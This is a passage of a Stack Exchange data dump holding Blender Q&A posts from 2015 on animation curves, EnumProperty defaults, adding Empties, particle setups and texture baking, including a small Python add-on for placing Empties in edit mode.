  <row Id="26360" PostTypeId="2" ParentId="26358" CreationDate="2015-02-27T19:18:07.117" Score="3" Body="&lt;p&gt;Go to the &lt;strong&gt;&lt;em&gt;Graph Editor&lt;/em&gt;&lt;/strong&gt; and shape the transformation curve as pictured below. Now select the start point of the transformation curve, press &lt;kbd&gt;T&lt;/kbd&gt; and set the keyframe interpolation type to &lt;em&gt;Linear&lt;/em&gt;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/h2aAp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a keyframe in the middle of the curve may allow you to manipulate it and change the easing speed. Select the middle point and change its position using &lt;kbd&gt;G&lt;/kbd&gt;. Grab the handle and scale it (&lt;kbd&gt;S&lt;/kbd&gt;) to change the curvature (easing speed).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xoQry.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-02-27T19:51:50.027" LastActivityDate="2015-02-27T19:51:50.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26362" PostTypeId="1" AcceptedAnswerId="26366" CreationDate="2015-02-27T19:20:45.157" Score="3" ViewCount="1470" Body="&lt;p&gt;I am trying to fix a bug in the Animation Nodes addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/JacquesLucke/animation-nodes/blob/25dd4c9cb16af0c25430b12bf52e9fff01108fff/nodes/system/mn_loop_caller.py&quot; rel=&quot;nofollow&quot;&gt;loop nodes&lt;/a&gt; has a dynamic EnumProperty and I need to select a default value. But only when the EnumProperty contains Items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that I need to know what the value of default is when I don't give it a value. I thought it was an empty string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selectedLoop = bpy.props.EnumProperty(&#xA;    items=getStartLoopNodeItems,&#xA;    name=&quot;Selected Loop&quot;,&#xA;    default=&quot;&quot;,&#xA;    update=updateActiveL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this does not have the same behaviour as if I left out the default parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selectedLoop = bpy.props.EnumProperty(&#xA;    items=getStartLoopNodeItems,&#xA;    name=&quot;Selected Loop&quot;,&#xA;    update=updateActiveL)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I have to pass to default in order to have the same behaviour?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I discovered that when I add the default parameter the EnumProperty is not created apparently because when I try to add it to the layout later it gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rna_uiItemR: property not found: mn_LoopCallerNode.selectedLoop&#xA;/home/mathieu/.config/blender/2.73/scripts/addons/animation-nodes/nodes/system/mn_loop_caller.py:66&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7655" LastEditorUserId="7819" LastEditDate="2017-08-27T18:07:13.643" LastActivityDate="2017-08-27T18:07:13.643" Title="How can I set a default value on a Dynamic EnumProperty?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26364" PostTypeId="2" ParentId="26354" CreationDate="2015-02-27T20:43:37.733" Score="3" Body="&lt;p&gt;Well, I've been searching for an answer to this question for literally years, and just a few hours after I post a coherent question, I stumble upon the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The baked texture can't imitate the roughness of the original shader. I'm using a roughness of 1.0 for the diffuse shader, but when I bake it, it has to be piped into an emission shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I turn the roughness of the diffuse shader down to 0, it perfectly matches the baked texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only thought is that roughness has something to do with the viewing angle, and the baked texture just can't take that into account, because it has to be baked from all angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh well...&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-02-27T20:43:37.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26366" PostTypeId="2" ParentId="26362" CreationDate="2015-02-27T21:13:02.420" Score="5" Body="&lt;p&gt;There is no default when &lt;code&gt;items&lt;/code&gt; is a function (you'll get an error if you try to specify it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll update the doc, this info is missing currently…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note even with 'static' enums, not specifying the default is not the same as giving &lt;code&gt;&quot;&quot;&lt;/code&gt; or &lt;code&gt;None&lt;/code&gt;, currently. Not very pythonic, but a consequence of our current C &amp;lt;-&gt; python code.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-27T21:13:02.420" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="26367" PostTypeId="2" ParentId="26357" CreationDate="2015-02-27T21:15:55.477" Score="4" Body="&lt;p&gt;Load your video not using the &lt;strong&gt;Movie Clip&lt;/strong&gt; Node but with the &lt;strong&gt;Image Sequence&lt;/strong&gt; node (yes you can load video files in the image sequence clip).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then enable the cyclic option and your video file will repeat on a loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BTaLN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-02-27T21:15:55.477" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26369" PostTypeId="1" AcceptedAnswerId="26383" CreationDate="2015-02-27T21:41:34.830" Score="10" ViewCount="24909" Body="&lt;p&gt;In &lt;a href=&quot;https://blender.stackexchange.com/questions/5057/mirror-changes-to-side-of-cube-across-all-six-sides&quot;&gt;&quot;Mirror changes to side of cube across all six sides&quot;&lt;/a&gt;, it is advised to add an &lt;em&gt;Empty&lt;/em&gt;. However, I cannot find that option in Blender 2.73. How can I add an &lt;em&gt;Empty&lt;/em&gt; in Blender 2.73?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do a Shift+A on the 3D View the context menu displays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Mesh||Plane|Cube|Circle|UV Sphere|Ico Sphere|Cylinder|Cone|Torus||Grid|Monkey]&lt;/p&gt;&#xA;" OwnerUserId="3651" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2017-11-14T14:31:03.123" Title="How can I create an Empty in Blender 3D 2.73?" Tags="&lt;editing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26370" PostTypeId="2" ParentId="26369" CreationDate="2015-02-27T21:43:19.440" Score="21" Body="&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Empty &gt; Plain Axis&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1tZk.gif&quot; alt=&quot;Add Empty&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you &lt;strong&gt;must be in Object mode&lt;/strong&gt; for this to work, in Edit mode you may only add mesh elements.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2017-11-14T14:31:03.123" LastActivityDate="2017-11-14T14:31:03.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26371" PostTypeId="1" AcceptedAnswerId="26565" CreationDate="2015-02-27T22:15:25.493" Score="1" ViewCount="290" Body="&lt;p&gt;I am making a simulation using Blender physics. I pour many objects in cube-shaped box. I need amount of objects which touch one particular object. I know one way: at first I return location of each vertex of each object and then for one object I compare its vertices coordinates to possible touching object's vertices. If distance between two vertices is less than constant number (that constant depends on distance between two neighbor vertices of one mesh) this means that this is touch point. Then I count this touch points. But this algorithm needs lot operation ((amount of objects)&lt;em&gt;(amount of vertices on each object)&lt;/em&gt;(amount of possible neighbors)) and lot time to be completed. I wonder if there is any script or option in Blender which returns how many other objects touch each object. P.S. Perhaps it is possible if we add collision sensor from Game Engine but I don't need this.&lt;/p&gt;&#xA;" OwnerUserId="11444" LastActivityDate="2015-03-03T22:48:29.817" Title="How many objects touch one chosen object?" Tags="&lt;scripting&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26372" PostTypeId="1" CreationDate="2015-02-27T22:43:44.480" Score="0" ViewCount="966" Body="&lt;p&gt;Is there a tool that would convert fibermesh hair to game-ready usable hair sheets as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://udn.epicgames.com/Three/CreatingHairUsingAlpha.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://udn.epicgames.com/Three/CreatingHairUsingAlpha.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h49P8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I simply put this beard into the dustbin because it cannot easily be converted to some game-ready?&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="2217" LastEditDate="2015-02-28T14:47:56.387" LastActivityDate="2015-02-28T18:05:13.310" Title="Fibermesh to Hair Sheets" Tags="&lt;mesh&gt;&lt;conversion&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26373" PostTypeId="2" ParentId="6994" CreationDate="2015-02-27T22:44:47.417" Score="11" Body="&lt;p&gt;Try disabling &lt;em&gt;Manipulate center points&lt;/em&gt;.&#xA;Here's a screenshot of the option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbAci.png&quot; alt=&quot;screen-shot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastEditorUserId="599" LastEditDate="2015-02-28T00:28:07.417" LastActivityDate="2015-02-28T00:28:07.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26374" PostTypeId="1" CreationDate="2015-02-27T23:01:39.230" Score="1" ViewCount="73" Body="&lt;p&gt;I want to make a character for my game , but if I want the player to be able to change his clothes , should I make a full body for the character? Almost all game characters that I've seen don't have a body, its just conected to the clothes, but I don't know if I need the body. I havent started sculpting the face because of that. Help! Thanks&lt;/p&gt;&#xA;" OwnerUserId="10888" LastEditorUserId="6385" LastEditDate="2015-02-28T01:48:41.840" LastActivityDate="2015-02-28T01:48:41.840" Title="Need help before making the full character" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-02-28T01:58:49.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="26375" PostTypeId="1" CreationDate="2015-02-28T00:49:35.400" Score="1" ViewCount="46" Body="&lt;p&gt;It there any way to check if the system console is displayed on (Windowse Os)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would make a custom task progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4QYLl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="6426" LastEditDate="2015-02-28T09:30:07.950" LastActivityDate="2015-02-28T09:30:07.950" Title="How to check if the system console is displayed?" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-28T01:50:23.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="26376" PostTypeId="1" AcceptedAnswerId="26380" CreationDate="2015-02-28T02:14:37.893" Score="5" ViewCount="359" Body="&lt;p&gt;I have a project, and it has an object that has always rendered correctly, but one day when I open the project and make a test render, the object has disappeared. All the settings are normal, the object, and all of its children render display in the object outliner set to true. I really don't know what happened to it. Can someone tell me what I should look through to diagnose it?&lt;/p&gt;&#xA;&lt;p&gt;Sorry I cannot provide much detail. What I've explained is all I know.&lt;/p&gt;&#xA;&lt;p&gt;Edit: I am uploading the .blend file at &lt;a href=&quot;http://www.pasteall.org/blend/34719&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/34719&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a Minecraft scene. It is the wolf that doesn't render. At one point it did, but now it just won't. The wolf has particle properties. I don't know if that matters, but it could. Look through all the wolf's properties to try and figure it out.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="241" LastEditDate="2020-06-25T08:44:29.027" LastActivityDate="2020-06-25T08:44:29.027" Title="Why does an object with a particle system not appear in the render?" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26377" PostTypeId="1" CreationDate="2015-02-28T03:14:32.647" Score="2" ViewCount="777" Body="&lt;p&gt;I am a bit of a noob when it comes to animation but here goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a movie/video that has falling poppies and i need them to fall until the video stops, but I need them to fall on a transparent background because I will be projecting the video on to a mesh screen to overlay the brass band playing for a concert&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12866" LastActivityDate="2015-02-28T20:27:26.057" Title="Infinite Falling Images" Tags="&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26378" PostTypeId="2" ParentId="26045" CreationDate="2015-02-28T03:35:41.290" Score="1" Body="&lt;p&gt;Okay so after much trial and error, it seems that the only possible way to do this is with an armature. Just rig the armature to all the objects you want to animate and create one action animation in the armature. I have 4 bones in the armature, none of which are actually connected with each other (both the bones and the objects) and I just animate the bones. ! animation to export to Unity with many different moving parts.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2015-02-28T03:35:41.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26380" PostTypeId="2" ParentId="26376" CreationDate="2015-02-28T04:04:22.493" Score="5" Body="&lt;p&gt;Your wolf is emiting particles, but you have to check &quot;Emitter&quot; in particles render settings to make it renderable.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TGU0x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-28T04:04:22.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26381" PostTypeId="2" ParentId="26377" CreationDate="2015-02-28T05:09:10.347" Score="6" Body="&lt;p&gt;What you want are &lt;strong&gt;particles&lt;/strong&gt;. This will allow you to have may flowers falling, with minimal simulation overhead. The idea is you have the flowers on &quot;cards&quot; The cards are attached to the particles, and the particles physics replicate the falling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Position you camea&lt;/li&gt;&#xA;&lt;li&gt;add a plane as wide as the camera in front of it.&lt;/li&gt;&#xA;&lt;li&gt;Move your flower object to layer 2 &lt;kbd&gt;M&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a particle system to the plane, using the particle tab&lt;/li&gt;&#xA;&lt;li&gt;Particle setup:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0Xju.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure all the circled settings match:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the Emit From to &lt;strong&gt;Faces&lt;/strong&gt;, so it comes out of the face of the plane. Verts would have it come out of the corners, where the vertices are and volume would work very well since our plane has no volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the &lt;strong&gt;normal&lt;/strong&gt; a bit higher to make the flowers a bit faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rotation&lt;/strong&gt; needs to be set to Velocity hair, so that the planes face the camera, you may have to edit the phase option to the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the render to &lt;strong&gt;Object&lt;/strong&gt; this will make your particles appear as planes, like you desired. Set the dupli object to match your image of the flower. You can adjust the size to scale the flowers.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Apply these materials to the picture of the flower:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WZJj2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to have the transparent background, we need to make a shadeless transparent material. The image will then add alpha back in later.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;For the texture use these settings:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rveeN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select alpha under influence, then set it to one. The will override the materials alpha.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;8&quot;&gt;&#xA;&lt;li&gt;Render animation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OTUq1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA;&lt;sup&gt;Note quality has been reduced by high gif compression, it will look fine when rendered&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demonstration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/55/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=53&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-02-28T20:27:26.057" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26382" PostTypeId="1" CreationDate="2015-02-28T07:00:44.023" Score="1" ViewCount="1064" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4mOya.jpg&quot; alt=&quot;enter image description here&quot;&gt;hi ive just recently installed version 2.73a and i am trying to bake my normal maps. I am doing it the same as i have in previous versions but now i keep getting the same error, as circle on attached picture. Can anyone help me with this or direct me to a current tutorial on baking normals? &lt;/p&gt;&#xA;" OwnerUserId="12869" LastActivityDate="2015-02-28T09:32:58.853" Title="Problem baking normal map" Tags="&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26383" PostTypeId="2" ParentId="26369" CreationDate="2015-02-28T07:10:31.590" Score="10" Body="&lt;p&gt;It does not displays all of them, when you are working in Edit-Mode. Switch to Object-Mode to add an empty.&lt;/p&gt;&#xA;" OwnerUserId="6445" LastEditorUserId="6445" LastEditDate="2015-02-28T07:57:30.053" LastActivityDate="2015-02-28T07:57:30.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26384" PostTypeId="2" ParentId="26369" CreationDate="2015-02-28T09:18:30.810" Score="9" Body="&lt;p&gt;This problem bugged me for a while too, but it is not specific to Blender 2.73 it goes way back to the first Blenders I used 2.5x (and maybe earlier). It's not a bug, but in my opinion it is a missing feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Edit Mode the default setup has no feature to add an Empty. An Empty is an object in its own right, adding an object while in Edit Mode may make sense to us, but to Blender it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the available options are all meshes (verts+edges+faces) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution is to:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;move the 3d cursor to where you want the Empty,&lt;/li&gt;&#xA;&lt;li&gt;drop out of Edit Mode into Object Mode&lt;/li&gt;&#xA;&lt;li&gt;add the Empty&lt;/li&gt;&#xA;&lt;li&gt;go back to your original object and continue working.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;3 years ago I wrote a small Python add-on that lets me stay in Edit Mode and add an Empty at a selected vertex, or multiple empties when multiple vertices had been selected. It does this by collecting the location data and jumping out of edit mode, then adds the Empties to the scene, then returns me back to the original object in Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/njCHu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit v1.1 for 2.73+&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's an easy to install one file version of the addon:&lt;br&gt;&#xA;&lt;a href=&quot;https://gist.github.com/zeffii/0ffb1e425c2aa6e78ab3&quot; rel=&quot;nofollow noreferrer&quot;&gt;objects_place_empty_in_edit_mode.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the code inline incase it gets waxed on github:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;bl_info = {&#xA;    'name': 'Add Empties',&#xA;    'author': 'Dealga McArdle (zeffii)',&#xA;    'version': (1, 1, 2),&#xA;    'blender': (2, 7, 3),&#xA;    'location': 'Add &amp;gt; Empties',&#xA;    'description': 'adds new Empty while in edit mode',&#xA;    'wiki_url': '',&#xA;    'tracker_url': '',&#xA;    'category': 'Mesh'}&#xA;&#xA;&#xA;def add_to_selected(context, kind):&#xA;    D = bpy.data&#xA;    scn = context.scene&#xA;    obj = context.edit_object&#xA;    obj_name = obj.name&#xA;    mesh = obj.data&#xA;&#xA;    bm = bmesh.from_edit_mesh(mesh)&#xA;&#xA;    def add_empty(coordinate, kind='PLAIN_AXES'):&#xA;        empty = D.objects.new('MT_' + obj_name, None)&#xA;        empty.location = coordinate&#xA;        empty.empty_draw_size = 0.45&#xA;        empty.empty_draw_type = kind&#xA;        scn.objects.link(empty)&#xA;        scn.update()&#xA;&#xA;    coordinates = [v.co[:] for v in bm.verts if v.select]&#xA;&#xA;    # must be in object mode to add objects to the scene.&#xA;    myob = D.objects[obj_name]&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;    if not coordinates:&#xA;        coordinate = context.scene.cursor_location&#xA;        add_empty(coordinate, kind)&#xA;    else:&#xA;        for co in coordinates:&#xA;            vert_coordinate = myob.matrix_world * Vector(co)&#xA;            add_empty(vert_coordinate, kind)&#xA;&#xA;    # set original object to active, selects it, place back into editmode&#xA;    scn.objects.active = myob&#xA;    myob.select = True&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    return&#xA;&#xA;&#xA;class AddEmpties(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Add a vertex to 3d cursor location&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.empties_add&quot;&#xA;    bl_label = &quot;Add Empties&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    kind = bpy.props.StringProperty(default='PLAIN_AXES')&#xA;&#xA;    def execute(self, context):&#xA;        add_to_selected(context, self.kind)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class EDITMODE_MT_PlaceEmpties(bpy.types.Menu):&#xA;    bl_label = &quot;Adding Empties..&quot;&#xA;&#xA;    def draw(self, context):&#xA;        options = [&#xA;            'PLAIN_AXES', 'ARROWS', 'SINGLE_ARROW',&#xA;            'CIRCLE', 'CUBE', 'SPHERE', 'CONE', 'IMAGE']&#xA;&#xA;        layout = self.layout&#xA;        for opt in options:&#xA;            layout.operator(&quot;object.empties_add&quot;, text=opt).kind = opt&#xA;&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.menu(&quot;EDITMODE_MT_PlaceEmpties&quot;, icon='EMPTY_DATA')&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.INFO_MT_mesh_add.prepend(menu_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_mesh_add.remove(menu_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-24T15:36:29.407" LastActivityDate="2015-04-24T15:36:29.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26385" PostTypeId="2" ParentId="26382" CreationDate="2015-02-28T09:32:58.853" Score="3" Body="&lt;p&gt;According to your screenshot you're using cycles, the workflow is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Object Mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select your object &lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add an image texture node with the image selected.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;em&gt;Bake&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MA7aO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bake from one object to another select two objects and tick the &lt;em&gt;Select to Active&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oHBv7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-28T09:32:58.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26387" PostTypeId="2" ParentId="26316" CreationDate="2015-02-28T12:38:00.647" Score="2" Body="&lt;p&gt;I have had a look at the maya file. The reason no animation is coming in by FBX, is it is done with expressions, mesh deformers and other maya nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while blender would be able to do a similar effect, blenders internals are very different from maya, and there is no way to import the setup from an FBX file.&lt;/p&gt;&#xA;" OwnerUserId="5838" LastActivityDate="2015-02-28T12:38:00.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26388" PostTypeId="1" AcceptedAnswerId="26470" CreationDate="2015-02-28T13:01:38.753" Score="15" ViewCount="7897" Body="&lt;p&gt;I am trying to develop several shaders that need to take into account the position or orientation of &lt;em&gt;another&lt;/em&gt; object in my scene.  Seems like a generally useful thing to be able to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of something that &lt;em&gt;almost&lt;/em&gt; does what I want (for a simplified case).  Here is a Cycles shader node tree that will shade an object green for points that are more than 1 unit from the origin and red if they are less than 1 unit from the origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D3D7v.png&quot; alt=&quot;Node tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here I'm moving a cube with the material close to the origin to see the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVvNh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the crux of what I am looking for...  Rather than having the origin be the source of the red colored region, I would like an Empty to be the center of the red colored region.  And I would like to move the Empty around rather than the other objects to control the effect.  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .blend file for my example can be found at...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://readyposition.org/PositionBasedShader.blend&quot; rel=&quot;noreferrer&quot;&gt;http://readyposition.org/PositionBasedShader.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use a geometry node to get things like normal and position from the shaded object.  But I'm unsure of how to get properties from the other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just started down the road of using drivers.  I figured I could create a custom property on the shaded object and add a driver that sets it to the other object's properties.  Then I'm hoping I can use an Attribute node to get at the custom property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm at a loss how to best do this via the UI.  In particular...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can I add a custom property for a vector quantity (e.g. position)?&lt;/li&gt;&#xA;&lt;li&gt;Can I create custom property groups so I can add drivers to x, y, and z at once (as the built in property groups for things like position, rotation, and scale have)?&lt;/li&gt;&#xA;&lt;li&gt;Do I need to do x, y, and z separately and then convert them to vectors with a Combine XYZ node?&lt;/li&gt;&#xA;&lt;li&gt;Can I even refer to a custom property via an Attribute node?&lt;/li&gt;&#xA;&lt;li&gt;Do I need to resort to Python?&lt;/li&gt;&#xA;&lt;li&gt;Can this be done at all or do I need to 